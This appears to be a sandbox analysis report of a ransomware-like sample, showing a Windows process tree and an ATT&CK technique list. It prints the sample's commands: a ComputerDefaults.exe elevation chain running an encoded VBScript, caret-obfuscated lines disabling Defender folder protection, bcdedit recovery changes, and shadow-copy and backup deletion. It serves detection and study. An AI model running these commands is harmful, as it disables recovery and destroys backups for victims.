    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1584 /prefetch:8
    3⤵
    PID:1508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4620 /prefetch:8
    3⤵
    PID:5068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1492 /prefetch:8
    3⤵
    PID:1708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4620 /prefetch:8
    3⤵
    PID:2252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5096 /prefetch:8
    3⤵
    PID:1000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1492 /prefetch:8
    3⤵
    PID:2316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Pictures\README.html
  2⤵
  - Adds Run key to start application
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  PID:5380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0x40,0x124,0x7ffedaeb46f8,0x7ffedaeb4708,0x7ffedaeb4718
    3⤵
    PID:5408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2204 /prefetch:2
    3⤵
    PID:5600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5668
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2788 /prefetch:8
    3⤵
    PID:5860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3788 /prefetch:1
    3⤵
    PID:6064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3864 /prefetch:1
    3⤵
    PID:6088
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5184 /prefetch:8
    3⤵
    PID:3752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5348 /prefetch:8
    3⤵
    PID:5376
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:1
    3⤵
    PID:5364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:1
    3⤵
    PID:5280
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4112 /prefetch:8
    3⤵
    PID:4976
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
    3⤵
    - Drops file in Program Files directory
    PID:3988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff78c1e5460,0x7ff78c1e5470,0x7ff78c1e5480
      4⤵
      PID:5964
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4112 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,17896381788085709973,9385580609623388406,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5264 /prefetch:2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:768

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3248
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3248 -s 940
  2⤵
  - Program crash
  PID:1648

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3348

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Adds Run key to start application
PID:3412
- C:\Windows\System32\cmd.exe
  /c ComputerDefaults.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\system32\ComputerDefaults.exe
    ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Windows\system32\conhost.exe
      "conhost.exe" wscript /B /E:VBScript.Encode "../../Users/Public/TJOFMFRFMKKQ.sstz"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3064
    - - C:\Windows\system32\wscript.exe
        
        wscript /B /E:VBScript.Encode ../../Users/Public/TJOFMFRFMKKQ.sstz
        5⤵
        
        PID:4596

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
- Modifies registry class
PID:3500
- C:\Windows\System32\cmd.exe
  /c ComputerDefaults.exe
  2⤵
  PID:280
- - C:\Windows\system32\ComputerDefaults.exe
    ComputerDefaults.exe
    3⤵
    - Modifies registry class
    PID:1172

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:4896

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding DA0103C894998C761A70859F6CDD4EA4 C
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\System32\cmd.exe
    /c ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2656
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3468
    - - C:\Windows\system32\conhost.exe
        
        "conhost.exe" wscript /B /E:VBScript.Encode "../../Users/Public/TJOFMFRFMKKQ.sstz"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3548
      - C:\Windows\system32\wscript.exe
        
        wscript /B /E:VBScript.Encode ../../Users/Public/TJOFMFRFMKKQ.sstz
        6⤵
        
        PID:3128
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:3372

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 452 -p 3248 -ip 3248
1⤵
PID:2360

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:228

C:\Windows\system32\cmd.exe
cmd /c WMI^C /Na^me^space^:\\ro^ot\Microsoft\^Windows\Def^en^de^r cla^ss M^SFT_^M^pP^r^eference ^c^all Set EnableControll^edFo^lder^Acce^ss^=^0
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Windows\System32\Wbem\WMIC.exe
  WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Set EnableControlledFolderAccess=0
  2⤵
  PID:4852

C:\Windows\system32\cmd.exe
cmd /c bcd^edi^t ^/set ^{defau^lt} boo^tstatuspol^i^cy ignor^ea^llf^a^ilur^es
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:424

C:\Windows\system32\cmd.exe
cmd /c bcded^i^t /s^et {^def^ault^} recoveryenabled^ no
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5088

C:\Windows\system32\cmd.exe
cmd /c wm^ic^ s^h^ad^owco^py d^elet^e ^/n^o^in^teractive
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3384
- C:\Windows\System32\Wbem\WMIC.exe
  wmic shadowcopy delete /nointeractive
  2⤵
  PID:4132

C:\Windows\system32\cmd.exe
cmd /c wbadmin ^delete s^ys^te^m^sta^tebacku^p -^qu^i^e^t
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\system32\wbadmin.exe
  wbadmin delete systemstatebackup -quiet
  2⤵
  - Deletes System State backups
  PID:4324

C:\Windows\system32\cmd.exe
cmd /c wbad^min de^let^e cat^alog^ ^-^quiet
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Windows\system32\wbadmin.exe
  wbadmin delete catalog -quiet
  2⤵
  - Deletes backup catalog
  PID:3396

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:4696

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1376

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2096

C:\Windows\system32\cmd.exe
cmd /c bcd^edi^t ^/set ^{defau^lt} boo^tstatuspol^i^cy ignor^ea^llf^a^ilur^es
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4660
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3984

C:\Windows\system32\cmd.exe
cmd /c bcded^i^t /s^et {^def^ault^} recoveryenabled^ no
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1696
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1120

C:\Windows\system32\cmd.exe
cmd /c wm^ic^ s^h^ad^owco^py d^elet^e ^/n^o^in^teractive
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4292
- C:\Windows\System32\Wbem\WMIC.exe
  wmic shadowcopy delete /nointeractive
  2⤵
  PID:1528

C:\Windows\system32\cmd.exe
cmd /c wbadmin ^delete s^ys^te^m^sta^tebacku^p -^qu^i^e^t
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3152
- C:\Windows\system32\wbadmin.exe
  wbadmin delete systemstatebackup -quiet
  2⤵
  - Deletes System State backups
  - Drops file in Windows directory
  PID:1676

C:\Windows\system32\cmd.exe
cmd /c wbad^min de^let^e cat^alog^ ^-^quiet
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Windows\system32\wbadmin.exe
  wbadmin delete catalog -quiet
  2⤵
  - Deletes backup catalog
  PID:1160

C:\Windows\system32\cmd.exe
cmd /c WMI^C /Na^me^space^:\\ro^ot\Microsoft\^Windows\Def^en^de^r cla^ss M^SFT_^M^pP^r^eference ^c^all Set EnableControll^edFo^lder^Acce^ss^=^0
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\System32\Wbem\WMIC.exe
  WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Set EnableControlledFolderAccess=0
  2⤵
  PID:1056

C:\Windows\system32\cmd.exe
cmd /c WMI^C /Na^me^space^:\\ro^ot\Microsoft\^Windows\Def^en^de^r cla^ss M^SFT_^M^pP^r^eference ^c^all Set EnableControll^edFo^lder^Acce^ss^=^0
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\System32\Wbem\WMIC.exe
  WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Set EnableControlledFolderAccess=0
  2⤵
  PID:2960

C:\Windows\system32\cmd.exe
cmd /c bcd^edi^t ^/set ^{defau^lt} boo^tstatuspol^i^cy ignor^ea^llf^a^ilur^es
1⤵
- Process spawned unexpected child process
PID:3808
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1920

C:\Windows\system32\cmd.exe
cmd /c wbad^min de^let^e cat^alog^ ^-^quiet
1⤵
- Process spawned unexpected child process
PID:2448
- C:\Windows\system32\wbadmin.exe
  wbadmin delete catalog -quiet
  2⤵
  - Deletes backup catalog
  PID:1676

C:\Windows\system32\cmd.exe
cmd /c bcded^i^t /s^et {^def^ault^} recoveryenabled^ no
1⤵
- Process spawned unexpected child process
PID:4288
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4432

C:\Windows\system32\cmd.exe
cmd /c wbadmin ^delete s^ys^te^m^sta^tebacku^p -^qu^i^e^t
1⤵
- Process spawned unexpected child process
PID:1632
- C:\Windows\system32\wbadmin.exe
  wbadmin delete systemstatebackup -quiet
  2⤵
  - Deletes System State backups
  PID:4076

C:\Windows\system32\cmd.exe
cmd /c wm^ic^ s^h^ad^owco^py d^elet^e ^/n^o^in^teractive
1⤵
- Process spawned unexpected child process
PID:2148
- C:\Windows\System32\Wbem\WMIC.exe
  wmic shadowcopy delete /nointeractive
  2⤵
  PID:2768

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3720

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5300

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5816

C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"
1⤵
- Drops file in Program Files directory
PID:5872
- C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5872_886862148\ChromeRecovery.exe
  "C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5872_886862148\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={20b0cec2-c000-4abc-adbc-9f0d6cae2d7a} --system
  2⤵
  - Executes dropped EXE
  PID:5964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery